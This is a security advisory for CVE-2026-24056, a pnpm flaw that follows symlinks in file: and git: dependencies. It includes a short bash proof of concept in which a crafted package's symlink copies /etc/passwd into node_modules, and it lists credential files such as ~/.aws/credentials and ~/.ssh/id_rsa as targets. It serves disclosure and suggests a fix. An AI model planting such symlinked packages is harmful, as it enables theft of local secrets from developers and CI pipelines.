CVE-2026-24056: pnpm has symlink traversal in file:/git dependencies

Summary When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/idrsa) causes pnpm to copy that file's contents into nodemodules, leaking local data.

Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.

Details The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:

typescript const absolutePath = path.join(dirname, relativePath) const stat = fs.statSync(absolutePath) // Follows symlinks! const buffer = fs.readFileSync(absolutePath) // Reads symlink TARGET

There is no check that absolutePath resolves to a location inside the package directory.

PoC bash Create malicious package mkdir -p /tmp/evil && cd /tmp/evil ln -s /etc/passwd leaked-passwd.txt echo '{"name":"evil","version":"1.0.0","files":[".txt"]}' > package.json

Victim installs mkdir /tmp/victim && cd /tmp/victim pnpm init && pnpm add file:../evil

Leaked! cat nodemodules/evil/leaked-passwd.txt

Impact - Developers installing local/file dependencies - CI/CD pipelines installing git dependencies - Credential theft via symlinks to ~/.aws/credentials, ~/.npmrc, ~/.ssh/idrsa

Suggested Fix Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.